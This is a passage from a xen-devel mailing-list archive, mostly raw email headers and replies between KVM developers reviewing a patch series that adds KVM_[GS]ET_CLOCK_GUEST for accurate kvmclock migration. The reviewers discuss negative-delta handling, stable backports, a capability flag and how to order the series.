> > > (master_kernel_ns) is earlier than vcpu->arch.this_tsc_nsec, the delt=
a
> > > is negative. Since pvclock_scale_delta() takes a u64, the negative
> > > value wraps to a huge positive number, producing a wildly wrong resul=
t.
> > >=20
> > > Handle negative deltas explicitly by negating the delta, scaling it,
> > > and subtracting from this_tsc_write.
> >=20
> > Does this need=20
> >=20
> > =C2=A0 Cc: stable@vger.kernel.org
> >=20
> > or is this a "technically a bug fix, but can't happen in practice" sort=
 of thing?
>=20
> Honestly, there's so much hosed in kvmclock that we could debate a
> cc:stable for half of this series. I'm not doing *any* of this to
> actually add new features. For this one I'm not sure it's reachable in
> practice; I think I did it mostly to shut Sashiko up.

Heh, in that case, throw a blurb in the changelog stating as much.  Knowing=
 that
a bug is likely unreachable in practice is helpful, e.g. in the super unlik=
ely
case that this change breaks someone.

> I think even in the KVM_SET_CLOCK_GUEST it can't trigger, although I
> have fantasies about changing the way KVM_SET_CLOCK_GUEST works to fix
> that final =C2=B11ns imprecision (which requires separate work on the
> timekeeping core), that *might* trigger the negative delta here...




From xen-devel-bounces@lists.xenproject.org Tue Jul 28 01:15:48 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 28 Jul 2026 01:15:48 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1372003.1619414 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woWPs-0001AI-3i; Tue, 28 Jul 2026 01:15:32 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1372003.1619414; Tue, 28 Jul 2026 01:15:32 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woWPs-0001AB-0R; Tue, 28 Jul 2026 01:15:32 +0000
Received: by outflank-mailman (input) for mailman id 1372003;
 Tue, 28 Jul 2026 01:15:30 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <3rgJoagYKCa0fRNaWPTbbTYR.PbZkRa-QRiRYYVfgf.kRacebWRPg.beT@flex--seanjc.bounces.google.com>)
 id 1woWPq-0001A5-Or
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 01:15:30 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1woWPp-009Wlk-Hc
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 03:15:29 +0200
Received: from [10.42.69.11] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <3rgJoagYKCa0fRNaWPTbbTYR.PbZkRa-QRiRYYVfgf.kRacebWRPg.beT@flex--seanjc.bounces.google.com>)
 id 6a680288-2eae-0a2a0a5409dd-0a2a450bafde-26
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 03:15:29 +0200
Received: from [209.85.214.197] (helo=mail-pl1-f197.google.com)
 by tlsNG-42698a.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <3rgJoagYKCa0fRNaWPTbbTYR.PbZkRa-QRiRYYVfgf.kRacebWRPg.beT@flex--seanjc.bounces.google.com>)
 id 6a6802af-b7e8-0a2a450b0019-d155d6c5c59d-3
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 03:15:28 +0200
Received: by mail-pl1-f197.google.com with SMTP id
 d9443c01a7336-2cd01a14e81so46593575ad.1
 for <xen-devel@lists.xenproject.org>; Mon, 27 Jul 2026 18:15:28 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=google.com header.i="@google.com" header.h="Content-Transfer-Encoding:Content-Type:Cc:To:From:Subject:Message-ID:References:Mime-Version:In-Reply-To:Date"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20251104; t=1785201327; x=1785806127; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:cc:to:from:subject
         :message-id:references:mime-version:in-reply-to:date:from:to:cc
         :subject:date:message-id:reply-to:content-type;
        bh=c0xvxXA1DaICzQTJ/i8SO6Ba9ZbY1wPwU/bxHtjqVsI=;
        b=qDk9E5xZLhM87DgWquFTgM9X2MMUTLdWZyMAMpQu8HvIxv9e18QbcQGkbiXic2u+Uz
         lXIBxzKQvNmg5hRlfcFsGfA16yrV3pJayH/y3PGP4MfnKSoDEe9IHeX/jXjdoohAzu00
         ijyGiM97u7yF93nX7ERBdVSmyl4rUW8jXbBjQMQ07ibkhreD15BxXAkzh+t/GAMWhThs
         0X/NbsDzDrErJNvMjXq2eBoQli28LyYiT8w7saP0NdzgkCFW7udDiP4jGNplRKpiNqrT
         YUIJkQmabro0oP2cTIWVqgPj3IS+cWhXXKCQGEc5oHt7eIJc926J7/qLFzQ+EgFPkFP3
         U8kg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1785201327; x=1785806127;
        h=content-transfer-encoding:content-type:cc:to:from:subject
         :message-id:references:mime-version:in-reply-to:date
         :x-gm-message-state:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=c0xvxXA1DaICzQTJ/i8SO6Ba9ZbY1wPwU/bxHtjqVsI=;
        b=ZGlNL48Otzp0whsfFwF3HTSqUp/YxDd7un/SIK+XzlrQD+PRaVbX8392nF2qBD6v3G
         sGkG2lZPSJ8MppC977aMc4UbBRdyTa3KurUZJRARAQwlX25B1QEDZIAVB3qre4/qklXS
         rpeEIiWQed88Re63+RKRpgMRqsyvGyoGaB2fM5aDmt08XB8SUPN5flUZBxlI8MW1CQzv
         VPBncFr4z1pgGL0hzp3mlAnc/kwTMx0nwaKXnN8l7CH4eDU/zuT/nfNC0eRhWvHHtg+K
         4I3u1HxESXuSAeJzjnPU3mH6vGRfqzTXgVHKT689+17klPq+qcRx8PvPb02qBdn5aMRn
         aW/w==
X-Forwarded-Encrypted: i=1; AHgh+Rpg0dmB3DmEJdj81k7I/5zvKF3rC5vIXgUqnjY6/k1gLNdfan5iMoUgvgRG/2wFOi1Oxko26HKWvCw=@lists.xenproject.org
X-Gm-Message-State: AOJu0YznAz7fSCt3bnZVeRlpwLyKCtL15Diem1yWjK5X8xt0Mr/3OM2u
	oEs+8M6+HFgY8mJIM6czk73MW+g7PN3YjyhizjmPwz/BDsUcEPuJbkZAjH/gyt9ZHgnin784wFD
	RvXW1ow==
X-Received: from plas11.prod.google.com ([2002:a17:903:200b:b0:2ca:eea9:9845])
 (user=seanjc job=prod-delivery.src-stubby-dispatcher) by 2002:a17:902:ef11:b0:2cc:670d:9b2f
 with SMTP id d9443c01a7336-2d015d57715mr2698085ad.33.1785201326747; Mon, 27
 Jul 2026 18:15:26 -0700 (PDT)
Date: Mon, 27 Jul 2026 18:15:26 -0700
In-Reply-To: <e8e7554debef481d13265f0870e847e2fa37f7c2.camel@infradead.org>
Mime-Version: 1.0
References: <20260703212145.343527-1-dwmw2@infradead.org> <20260703212145.343527-6-dwmw2@infradead.org>
 <amPWX8lKXw2KS_kZ@google.com> <e8e7554debef481d13265f0870e847e2fa37f7c2.camel@infradead.org>
Message-ID: <amgCrqyqg0zFbhO4@google.com>
Subject: Re: [PATCH v6 05/36] KVM: x86: Add KVM_[GS]ET_CLOCK_GUEST for
 accurate KVM clock migration
From: Sean Christopherson <seanjc@google.com>
To: David Woodhouse <dwmw2@infradead.org>
Cc: Paolo Bonzini <pbonzini@redhat.com>, Jonathan Corbet <corbet@lwn.net>, 
	Shuah Khan <skhan@linuxfoundation.org>, Thomas Gleixner <tglx@kernel.org>, 
	Ingo Molnar <mingo@redhat.com>, Borislav Petkov <bp@alien8.de>, 
	Dave Hansen <dave.hansen@linux.intel.com>, x86@kernel.org, 
	"H. Peter Anvin" <hpa@zytor.com>, Vitaly Kuznetsov <vkuznets@redhat.com>, Juergen Gross <jgross@suse.com>, 
	Boris Ostrovsky <boris.ostrovsky@oracle.com>, Paul Durrant <paul@xen.org>, 
	Jonathan Cameron <jic23@kernel.org>, Sascha Bischoff <Sascha.Bischoff@arm.com>, 
	Marc Zyngier <maz@kernel.org>, Joey Gouly <joey.gouly@arm.com>, Jack Allister <jalliste@amazon.com>, 
	Dongli Zhang <dongli.zhang@oracle.com>, joe.jin@oracle.com, kvm@vger.kernel.org, 
	linux-doc@vger.kernel.org, linux-kernel@vger.kernel.org, 
	xen-devel@lists.xenproject.org, linux-kselftest@vger.kernel.org
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: quoted-printable
X-purgate-ID: tlsNG-42698a/1785201329-1AAD89EA-B38FD0B1/0/0
X-purgate-type: clean
X-purgate-size: 2520

On Sat, Jul 25, 2026, David Woodhouse wrote:
> On Fri, 2026-07-24 at 14:17 -0700, Sean Christopherson wrote:
> > Please post this as a standalone mini-series.=C2=A0 AFAICT, the only de=
pendency of
> > any kind is a minor conflict with the s/hw_tsc_khz/hw_tsc_hz change, an=
d that's
> > trivial to sort out later on.
>=20
> Hm? The calculations in kvm_vcpu_ioctl_set_clock_guest() are all Hz-
> based, not kHz. This *was* the start of the series (Jack posted it on
> its own in 2024), and I thought I'd moved the khz/hz thing to live
> before it on purpose?
>=20
> The kvm_xen_shared_info_init() one could be later, I guess. But is also
> trivial (and its commit message sets the stage for a bunch of the
> cleanups by analysing the various *different* ways that kvmclock gets
> derived).=20
>=20
> I confess I'm not stunningly keen on breaking the series up.

Can the KVM_[GS]ET_CLOCK_GUEST changes be moved to the end of the series?  =
The
total size of the series doesn't scare me, I just don't want to end up with=
 all
the fixes and cleanups stuck behind a patch that isn't a hard dependency.  =
E.g.
AFAICT, none of the following changes, include selftests updates, actualy r=
ely
on KVM_[GS]ET_CLOCK_GUEST existing.

> How about we just do it in stages? Merge patch 1 as it's fairly trivial,=
=20

Ya, I pushed that to kvm-x86 last week, though I rebased it today because o=
f an
unrelated goof.  It's currently commit 710b3a30f407 ("KVM: x86/xen: Do not =
corrupt
KVM clock in kvm_xen_shared_info_init()").  If nothing blows up in the next=
 or two,
that should be the stable hash going forward.

> and then I can use its commit ID when I refer to its taxonomy later. Then=
 we
> can do patches 2-6 which are the KVM_[GS]ET_CLOCK_GUEST support. And I ca=
n
> repost the remainder on top of that?
>=20
> > > +4.145 KVM_GET_CLOCK_GUEST
> > > +----------------------------
> > > +
> > > +:Capability: none
> >=20
> > Why not add a CAP?=C2=A0 The check in the subsequent selftest is quite =
gross.
>=20
> Because nobody would ever use it in practice anyway. Even if the ioctl
> is present, you *still* have to try it and fall back to the old method
> because there are ways that a *guest* can force master clock mode off.

Hmm, I can see setups where a single entity controls both the host and the =
guest
wanting to assert that KVM_SET_CLOCK_GUEST succeeds, though I suppose it's
unlikely such setups would use KVM_SET_CLOCK_GUEST in the first place.


From xen-devel-bounces@lists.xenproject.org Tue Jul 28 02:14:20 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 28 Jul 2026 02:14:20 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1372021.1619425 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woXKW-0001Dw-5T; Tue, 28 Jul 2026 02:14:04 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1372021.1619425; Tue, 28 Jul 2026 02:14:04 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woXKW-0001Dp-21; Tue, 28 Jul 2026 02:14:04 +0000
Received: by outflank-mailman (input) for mailman id 1372021;
 Tue, 28 Jul 2026 02:14:03 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <BATV+a16dffe8eb885fac2cd9+8374+infradead.org+dwmw2@casper.srs.infradead.org>)
 id 1woXKT-0001Dj-So
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 02:14:03 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1woXKR-009bkx-Sa; Tue, 28 Jul 2026 04:14:00 +0200
Received: from [10.42.69.2] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <BATV+a16dffe8eb885fac2cd9+8374+infradead.org+dwmw2@casper.srs.infradead.org>)
 id 6a681034-e002-0a2a0a5209dd-0a2a4502c82e-20
 for <multiple-recipients>; Tue, 28 Jul 2026 04:13:58 +0200
Received: from [90.155.50.34] (helo=casper.infradead.org)
 by tlsNG-720697.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <BATV+a16dffe8eb885fac2cd9+8374+infradead.org+dwmw2@casper.srs.infradead.org>)
 id 6a681065-6ca4-0a2a45020019-5a9b3222e614-3
 for <multiple-recipients>; Tue, 28 Jul 2026 04:13:57 +0200
Received: from [2001:8b0:10b:5:dc99:b954:ecbb:94c8]
 (helo=u09cd745991455d.ant.amazon.com)
 by casper.infradead.org with esmtpsa (Exim 4.99.1 #2 (Red Hat Linux))
 id 1woXKD-0000000C2JY-1Kxn; Tue, 28 Jul 2026 02:13:45 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=casper.20170209 header.d=infradead.org header.i="@infradead.org" header.h="MIME-Version:Content-Type:References:In-Reply-To:Date:Cc:To:From:Subject:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=infradead.org; s=casper.20170209; h=MIME-Version:Content-Type:References:
	In-Reply-To:Date:Cc:To:From:Subject:Message-ID:Sender:Reply-To:
	Content-Transfer-Encoding:Content-ID:Content-Description;
	bh=GCpfHtrYQawezIZUO1LR06raphZYNnQ7cY8TQO4z/FY=; b=lLAzdzEQl4ElZLY3Lc/nJ9PoYv
	OxTCkwtykmNtIo4u0J7ihZdfvrOw3ZElsB7HHmXlInfnkDE0qO8NeB0Z+LQjsK4R2O5JrJU+pcNGo
	SFnBwdJFz3qLISY38qQ4SFdXiX44LiUr6t1uqFAxibmlebwSysKdYpdn+ZJs23ThCaDUMYbT458ZE
	hefyrl1vvavacElb8zHOyuL46NHHNwdLjBDz/1YW6ejk6xJfkXxcE55wgJ/NtFGT1KHFiDMb1Rqf2
	kHTOqAJJt9DoDJwzBQE04e/mMV52dWODAKgdHl6r96CfpmKqEVzwlXtVb/C9AhAJ8P7VNji6YHIIg
	6zeuamNw==;
Message-ID: <8d53fa812a0bd457b53f0948c046214f209d86a1.camel@infradead.org>
Subject: Re: [PATCH v6 05/36] KVM: x86: Add KVM_[GS]ET_CLOCK_GUEST for
 accurate KVM clock migration
From: David Woodhouse <dwmw2@infradead.org>
To: Sean Christopherson <seanjc@google.com>
Cc: Paolo Bonzini <pbonzini@redhat.com>, Jonathan Corbet <corbet@lwn.net>, 
 Shuah Khan <skhan@linuxfoundation.org>, Thomas Gleixner <tglx@kernel.org>,
 Ingo Molnar <mingo@redhat.com>,  Borislav Petkov	 <bp@alien8.de>, Dave
 Hansen <dave.hansen@linux.intel.com>, x86@kernel.org, "H. Peter Anvin"	
 <hpa@zytor.com>, Vitaly Kuznetsov <vkuznets@redhat.com>, Juergen Gross	
 <jgross@suse.com>, Boris Ostrovsky <boris.ostrovsky@oracle.com>, Paul
 Durrant	 <paul@xen.org>, Jonathan Cameron <jic23@kernel.org>, Sascha
 Bischoff	 <Sascha.Bischoff@arm.com>, Marc Zyngier <maz@kernel.org>, Joey
 Gouly	 <joey.gouly@arm.com>, Jack Allister <jalliste@amazon.com>, Dongli
 Zhang	 <dongli.zhang@oracle.com>, joe.jin@oracle.com, kvm@vger.kernel.org, 
	linux-doc@vger.kernel.org, linux-kernel@vger.kernel.org, 
	xen-devel@lists.xenproject.org, linux-kselftest@vger.kernel.org
Date: Tue, 28 Jul 2026 03:13:44 +0100
In-Reply-To: <amgCrqyqg0zFbhO4@google.com>
References: <20260703212145.343527-1-dwmw2@infradead.org>
	 <20260703212145.343527-6-dwmw2@infradead.org> <amPWX8lKXw2KS_kZ@google.com>
	 <e8e7554debef481d13265f0870e847e2fa37f7c2.camel@infradead.org>
	 <amgCrqyqg0zFbhO4@google.com>
Content-Type: multipart/signed; micalg="sha-256"; protocol="application/pkcs7-signature";
	boundary="=-iOYyDNY3mpnbpc85Vz8q"
User-Agent: Evolution 3.60.3-0ubuntu1~ppa9~24.04 
MIME-Version: 1.0
X-SRS-Rewrite: SMTP reverse-path rewritten from <dwmw2@infradead.org> by casper.infradead.org. See http://www.infradead.org/rpr.html
X-purgate-ID: tlsNG-720697/1785204838-319CB2AC-917A8AEF/0/0
X-purgate-type: clean
X-purgate-size: 9583


--=-iOYyDNY3mpnbpc85Vz8q
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: quoted-printable

On Mon, 2026-07-27 at 18:15 -0700, Sean Christopherson wrote:
>=20
> Can the KVM_[GS]ET_CLOCK_GUEST changes be moved to the end of the series?=
=C2=A0 The
> total size of the series doesn't scare me, I just don't want to end up wi=
th all
> the fixes and cleanups stuck behind a patch that isn't a hard dependency.=
=C2=A0 E.g.
> AFAICT, none of the following changes, include selftests updates, actualy=
 rely
> on KVM_[GS]ET_CLOCK_GUEST existing.

That only matters if we plan to backport them, surely? And I wasn't.=20

I suspect it won't be pretty, but I can have a go at moving
KVM_[GS]ET_CLOCK_GUEST to the end. I guess in a similar vein we'd want
to move KVM_VCPU_TSC_SCALE to the end too.

Some of the selftests will have to move too, as they do use those
features.

--=-iOYyDNY3mpnbpc85Vz8q
Content-Type: application/pkcs7-signature; name="smime.p7s"
Content-Disposition: attachment; filename="smime.p7s"
Content-Transfer-Encoding: base64

MIAGCSqGSIb3DQEHAqCAMIACAQExDzANBglghkgBZQMEAgEFADCABgkqhkiG9w0BBwEAAKCCE8Ew
ggWvMIIEl6ADAgECAhANkOKMSmGXhF5eMl0rsRhvMA0GCSqGSIb3DQEBDAUAMGUxCzAJBgNVBAYT
AlVTMRUwEwYDVQQKEwxEaWdpQ2VydCBJbmMxGTAXBgNVBAsTEHd3dy5kaWdpY2VydC5jb20xJDAi
BgNVBAMTG0RpZ2lDZXJ0IEFzc3VyZWQgSUQgUm9vdCBHMjAeFw0yNDAzMTMwMDAwMDBaFw0zNDAz
MTIyMzU5NTlaMGIxCzAJBgNVBAYTAlVTMRcwFQYDVQQKEw5EaWdpQ2VydCwgSW5jLjE6MDgGA1UE
AxMxRGlnaUNlcnQgQXNzdXJlZCBHMiBTTUl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sKp9zx4cSiTeMk5cnvDAsFcle/nynaZtinUvViQMWp84oumSYVBlKGh+8
HVJwV3VUuqEbaMJTMEKm8lUDj/3UsmBGp4OUTPVSPKF1BV27WOuxCMmTF8LNFSrNBc6D+6ZP/7G+
hbT7ADtfgU919m3rOkap9/vB4v4YRvHYVkfha9x1gIDdFToIwRa2BuHEx3RsILosutU2ih67boot
oPOsmjUj4XPbtDNiemri/6DcpZywZziUEZvv8K22E0BkejM0LlniNmMR24Isoe5H+2HbfMaVqjOL
ckVLifGFitHwDJzq7+11WpU3h73QwYNYvBgw2AuYRcyebw/TBqSDlnJSdy5D+/enbu0sdlZynpyh
ZHVZaE+57o9cYk5moLl+zVHCLotYDDttbp0SgMkhL2dD2bFWDnTWTPj4HSNHEtScUCzXOnHTC8/C
V5pl50Gs9C719YdTYejhI7wAAAAAAAA=


--=-iOYyDNY3mpnbpc85Vz8q--


From xen-devel-bounces@lists.xenproject.org Tue Jul 28 04:08:14 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 28 Jul 2026 04:08:14 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1372037.1619432 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woZ6k-0007Z7-VM; Tue, 28 Jul 2026 04:07:58 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1372037.1619432; Tue, 28 Jul 2026 04:07:58 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woZ6k-0007Z0-S7; Tue, 28 Jul 2026 04:07:58 +0000
Received: by outflank-mailman (input) for mailman id 1372037;
 Tue, 28 Jul 2026 04:07:57 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <vijayanand.jitta@oss.qualcomm.com>)
 id 1woZ6j-0007Yu-9f
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 04:07:57 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1woZ6f-00FcUh-L7
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 06:07:53 +0200
Received: from [10.42.69.7] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <vijayanand.jitta@oss.qualcomm.com>)
 id 6a682b0f-2eae-0a2a0a5409dd-0a2a4507de70-8
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 06:07:53 +0200
Received: from [205.220.168.131] (helo=mx0a-0031df01.pphosted.com)
 by tlsNG-ef75cf.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <vijayanand.jitta@oss.qualcomm.com>)
 id 6a682b17-b4ea-0a2a45070019-cddca8830902-3
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 06:07:52 +0200
Received: from pps.filterd (m0279866.ppops.net [127.0.0.1])
 by mx0a-0031df01.pphosted.com (8.18.1.11/8.18.1.11) with ESMTP id
 66S3aWSu1303371
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 04:07:50 GMT
Received: from mail-pj1-f69.google.com (mail-pj1-f69.google.com
 [209.85.216.69])
 by mx0a-0031df01.pphosted.com (PPS) with ESMTPS id 4fpbp8acd3-1
 (version=TLSv1.3 cipher=TLS_AES_128_GCM_SHA256 bits=128 verify=NOT)
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 04:07:50 +0000 (GMT)
Received: by mail-pj1-f69.google.com with SMTP id
 98e67ed59e1d1-38ec0f510a9so8482064a91.2
 for <xen-devel@lists.xenproject.org>; Mon, 27 Jul 2026 21:07:50 -0700 (PDT)
Received: from [192.168.1.14] ([103.28.245.137])
 by smtp.gmail.com with ESMTPSA id
 5a478bee46e88-314bc3e127asm62422249eec.2.2026.07.27.21.07.39
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Mon, 27 Jul 2026 21:07:48 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=qcppdkim1 header.d=qualcomm.com header.i="@qualcomm.com" header.h="Cc:Content-Transfer-Encoding:Content-Type:Date:From:In-Reply-To:Message-ID:MIME-Version:References:Subject:To"; dkim=pass header.s=google header.d=oss.qualcomm.com header.i="@oss.qualcomm.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=qualcomm.com; h=
	cc:content-transfer-encoding:content-type:date:from:in-reply-to
	:message-id:mime-version:references:subject:to; s=qcppdkim1; bh=
	LK3y07L9JsKqzOy/FLTAxwpeW1DK6L0Aa7RC06zF1Gc=; b=FFgE1xJe6UKoNQYE
	+igk/lKKKT2gc1TXlw7wG5U2X4N88qZIopsTTXkEHMOr+nrTgOX2g8/rEBlALAJ3
	41DH2X3DseYCwgCcoo8soqHkig9SRruLONrjfJ+/uMfJFtYPcw/Ktef8FDYhnUqO
	gGaiYdzllKLuD7zATWwLnnX3kk+g6jOeQ4SLHxKWICwjmOqiYIjg8gteKs4rtP7T
	Qk8q6ck3aQIKxYjdPbnX1mg1beTunEGa9MAz4MvsiV17J4Q2O4ucKd1yg8hR/xT+
	FBRAgm/m3Wbx6m+luhxgff2BIBImaXbhJlxfSkO6Y8P0IA0qVLyLGSiW/fZ0fDI3
	Ej2kRw==
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=oss.qualcomm.com; s=google; t=1785211670; x=1785816470; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=LK3y07L9JsKqzOy/FLTAxwpeW1DK6L0Aa7RC06zF1Gc=;
        b=SV2q1SOpPLNzx8hW7O/BEI8Ml/u7puwrbbM/GveLXDNk/MipI+/K+7cRw3XRAK3iaf
         iS3U7Xh+zSfSpjT9r7fjCkw3NvQwwku9ZOYPCWRifhJoHErfA85gsHGZpRd5PzFJ3cbo
         ldskiKmNj+m9kOqQZS7J1mJgFEE+VRoez7PFz1LCezFjS5Cb8RQDc8dZjdGmRTUM7/Wb
         gBuCGfUR0XYj1XUNCo3M5rSAdCHHXjg41e0dYxnL5gFbO1fGEABmXMS0xgyRArxGzpyP
         tr+FFGY5v12PD71LLgSqEBF9jUDPAcxmue6C8sTc4dTjrLnpAMJz+eAl55wbq/5aMCUq
         KdUw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1785211670; x=1785816470;
        h=content-transfer-encoding:content-type:in-reply-to:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=LK3y07L9JsKqzOy/FLTAxwpeW1DK6L0Aa7RC06zF1Gc=;
        b=D5e4qBt7IlPzMx0eWlOYYjhTLm4ewEwmt8VrkpLU+9ZVAb7vvraFjBpLi2jyEiyYt0
         nm9vmiN5kJrRRNH30JcBdeqqwmqwHQq7bXwFuf/CVJzTi3QeG5qcU+dCWF9/ZG2z2E7M
         ZyZbwj025heLp79tbAuZYIpZ3v8EU6AqZxDOMKumta6/rFGcDoEOH8b6e+tIO3uy9Mol
         r7XKTZ1yZy9afxVR70SbhxtZuWNXbHYLUQmvy/1bas+M3k0gUIW/6vGAKqlQD6TXCy6c
         +DChQJG/DZt4rfvqpiGgp6WLx5IiEA7F/TeoLrTwUy3JXMIt3CBXZYkvwqog2o1GChc0
         6kug==
X-Forwarded-Encrypted: i=1; AHgh+RobtL7hwJ2+dT/iM/mXbhbGI2210KTEvmuJYrHuWv99nAnx0XP/CiQ9V12klj2wQ+vCvElBVjH7rm4=@lists.xenproject.org
X-Gm-Message-State: AOJu0YwV+BSCk0cOKgb6aKxkDP+U5qNk+6bvUpxbQ4EoXU2fEdlEfLv0
	tGswZ2+7jvC4CBkSr8XrJvWKMPoZjIXagdLr+T3KgbYSAoOBij80OxF4vvxGFADTGlt4c9e3nsl
	ESce3UxMwPXXRP4udDg3lc9suYj5DfNHDgE62ftwr4gE+dsvMaTmx7l/x43Cas1MAdAfzsg==
X-Gm-Gg: AR+sD10y6/MtU3vtFFyl7SOiEGn/7F3RlsorKSDfO8/JNnU6ouFMfMhvO6M0GQla9no
	prGnamml4yyDvTmhHmi/ervxx6STZIr7OBDBpO8TFeNNAF6tf/g/F8KVcL5FXW0uRjQsROdPslh
	IH4+6fnAntMByK7eJyHqKNZSO0a/2Jvy7fwsaz/gOKqkG8X3sFQfKjcPHfJrJQLIAVTJwsu0/VQ
